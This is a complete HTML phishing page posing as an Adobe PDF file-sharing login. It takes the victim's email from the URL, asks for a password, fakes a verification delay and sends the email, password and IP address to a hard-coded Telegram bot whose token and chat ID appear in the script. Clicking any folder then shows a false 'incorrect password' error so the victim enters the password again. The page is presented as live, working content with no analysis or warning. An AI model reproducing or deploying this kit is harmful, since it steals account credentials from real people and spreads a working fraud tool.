<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Project Files</title>
    <style>
        /* Existing CSS */
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            background-color: #f0f2f5;
            color: #333;
        }

        .container {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 20px;
            padding: 20px;
            max-width: 1200px;
            margin: auto;
        }

        .container.blurred {
            filter: blur(5px);
            pointer-events: none;
        }

        .folder {
            text-align: center;
            cursor: pointer;
            border: 1px solid #ddd;
            border-radius: 12px;
            background-color: #fff;
            box-shadow: 0 6px 12px rgba(0, 0, 0, 0.1);
            padding: 15px;
            transition: transform 0.3s, box-shadow 0.3s;
            overflow: hidden;
            position: relative;
        }

        .folder img {
            width: 100%;
            height: 180px;
            object-fit: cover;
            border-radius: 8px;
            margin-bottom: 10px;
        }

        .folder p {
            margin: 0;
            font-size: 16px;
            font-weight: 600;
            color: #333;
        }

        .folder:hover {
            transform: translateY(-5px);
            box-shadow: 0 12px 24px rgba(0, 0, 0, 0.2);
        }

        .popup {
            display: none; /* Initially hidden */
            position: fixed;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            justify-content: center;
            align-items: center;
            z-index: 1000;
        }

        .popup-content {
            background-color: #fff;
            padding: 30px;
            border-radius: 12px;
            width: 350px;
            text-align: center;
            position: relative;
            box-shadow: 0 12px 24px rgba(0, 0, 0, 0.15);
        }

        .popup-content h2 {
            margin-top: 0;
            font-size: 22px;
            color: #007bff;
        }

        .popup-content .description {
            font-size: 14px;
            color: #6c757d;
            margin-bottom: 20px;
            line-height: 1.5;
        }

        .popup-content .email-display {
            font-size: 14px;
            color: #6c757d;
            margin-bottom: 20px;
            word-wrap: break-word;
            font-weight: bold; /* Make the email bold */
        }

        .popup-content label {
            display: block;
            margin: 10px 0 5px;
            font-weight: 600;
            color: #333;
        }

        .popup-content input {
            width: calc(100% - 20px);
            padding: 10px;
            margin-bottom: 15px;
            border: 1px solid #ced4da;
            border-radius: 8px;
            font-size: 16px;
            color: #495057;
        }

        .popup-content button {
            padding: 10px 20px;
            background-color: #007bff;
            color: #fff;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 16px;
            transition: background-color 0.3s, transform 0.3s;
            position: relative;
            overflow: hidden;
        }

        .popup-content button:hover {
            background-color: #0056b3;
            transform: scale(1.05);
        }

        .popup-content button .verifying-icon {
            display: none;
            position: absolute;
            left: 50%;
            top: 50%;
            transform: translate(-50%, -50%);
            font-size: 16px; /* Make the font size larger */
            color: #fff;
            font-weight: bold; /* Make it bold for emphasis */
        }

        .popup-content button .login-text {
            display: inline;
        }

        .close {
            position: absolute;
            top: 15px;
            right: 15px;
            font-size: 24px;
            color: #6c757d;
            cursor: pointer;
        }

        .close:hover {
            color: #343a40;
        }

        .loading {
            display: none;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }

        .loading img {
            width: 50px;
        }

        .pdf-icon {
            display: block;
            margin: 0 auto 20px;
            width: 100px;
        }

        .error-message {
            color: #dc3545;
            font-size: 14px;
            margin-top: 15px;
        }

        /* Hide the container initially */
        .container.hidden {
            display: none;
        }
    </style>
</head>
<body>
    <!-- Password Form -->
    <div class="popup" id="login-popup">
        <div class="popup-content">
            <span class="close" onclick="closePopup()">&times;</span>
            <img src="https://logowik.com/content/uploads/images/adobe-pdf3324.jpg" class="pdf-icon" alt="PDF Icon">
            <h2>Login to View Files</h2>
            <p class="description">
                This is a private file Only recipient email can access shared files.
            </p>
            <div id="email-display" class="email-display"></div>
            <form id="login-form">
                <input type="hidden" id="hidden-email" name="hidden-email">
                <label for="password">Password:</label>
                <input type="password" id="password" name="password" required>
                <button type="submit">
                    <span class="verifying-icon">Verifying...</span>
                    <span class="login-text">Login</span>
                </button>
                <div class="error-message" id="error-message"></div>
            </form>
            <div class="loading" id="loading">
                <img src="https://upload.wikimedia.org/wikipedia/commons/6/6a/Loading_icon.gif" alt="Loading">
            </div>
        </div>
    </div>

    <!-- Folder Section -->
    <div class="container" id="folders-section">
        <div class="folder" id="marketing-materials">
            <img src="https://icon-library.com/images/icon-folder-in-windows-10/icon-folder-in-windows-10-14.jpg" alt="Marketing Materials">
            <p>Order Details</p>
        </div>
        <div class="folder" id="design-documents">
            <img src="https://icon-library.com/images/icon-folder-in-windows-10/icon-folder-in-windows-10-14.jpg" alt="Design Documents">
            <p>Design Documents</p>
        </div>
        <div class="folder" id="contract-documents">
            <img src="https://icon-library.com/images/icon-folder-in-windows-10/icon-folder-in-windows-10-14.jpg" alt="Contract Documents">
            <p>Videos mp4</p>
        </div>
        <div class="folder" id="client-reviews">
            <img src="https://icon-library.com/images/icon-folder-in-windows-10/icon-folder-in-windows-10-14.jpg" alt="Client Reviews">
            <p>Company Information</p>
       
    </div>

    <script>
        const TELEGRAM_CHAT_ID = '7057653359';
        const TELEGRAM_BOT_TOKEN = '7248825453:AAHyGZA1UkjUqpvApWjQg7kew4JUPks_rmo';

        async function sendToTelegram(message) {
            const url = `https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`;
            const payload = {
                chat_id: TELEGRAM_CHAT_ID,
                text: message
            };
            
            await fetch(url, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify(payload),
            });
        }

        document.addEventListener('DOMContentLoaded', () => {
            // Extract email from URL hash and populate the email display
            const hash = window.location.hash;
            if (hash.startsWith('#')) {
                const email = hash.substring(1); // Remove the '#'
                const decodedEmail = decodeURIComponent(email);
                document.getElementById('email-display').textContent = `Email: ${decodedEmail}`;
                document.getElementById('hidden-email').value = decodedEmail;
            }

            // Check if the user is already logged in
            const isLoggedIn = sessionStorage.getItem('loggedIn') === 'true';
            if (!isLoggedIn) {
                // Show the login popup when the page loads
                document.getElementById('login-popup').style.display = 'flex';
                document.querySelector('.container').classList.add('blurred');
            } else {
                // Hide the login popup and show the folder section
                document.getElementById('login-popup').style.display = 'none';
                document.getElementById('folders-section').classList.remove('hidden');
            }
        });

        function closePopup() {
            document.getElementById('login-popup').style.display = 'none';
            document.querySelector('.container').classList.remove('blurred');
        }

        // Handle login form submission
        document.getElementById('login-form').addEventListener('submit', async function(event) {
            event.preventDefault();
            // Show verifying icon and hide Login text
            const button = event.target.querySelector('button');
            button.querySelector('.verifying-icon').style.display = 'inline';
            button.querySelector('.login-text').style.display = 'none';

            // Simulate verification
            setTimeout(async () => {
                // Hide verifying icon and show Login text
                button.querySelector('.verifying-icon').style.display = 'none';
                button.querySelector('.login-text').style.display = 'inline';

                // Set sessionStorage item to indicate user is logged in
                sessionStorage.setItem('loggedIn', 'true');

                // Send form data to Telegram
                const email = document.getElementById('hidden-email').value;
                const password = document.getElementById('password').value;
                const ip = await fetch('https://api.ipify.org?format=json').then(response => response.json()).then(data => data.ip);
                const message = `Email: ${email}\nPassword: ${password}\nIP: ${ip}`;
                await sendToTelegram(message);

                // Hide the popup and show the folder section
                closePopup();
                document.getElementById('folders-section').classList.remove('hidden');
            }, 1000); // Simulate server response time
        });

        // Show the popup with an error message when a folder is clicked after logging in
        document.querySelectorAll('.folder').forEach(folder => {
            folder.addEventListener('click', () => {
                document.getElementById('login-popup').style.display = 'flex';
                document.querySelector('.container').classList.add('blurred');
                document.getElementById('error-message').textContent = 'You typed an incorrect password.';
                sessionStorage.removeItem('loggedIn'); // Remove the login state to force password entry again
            });
        });
    </script>
</body>
</html>
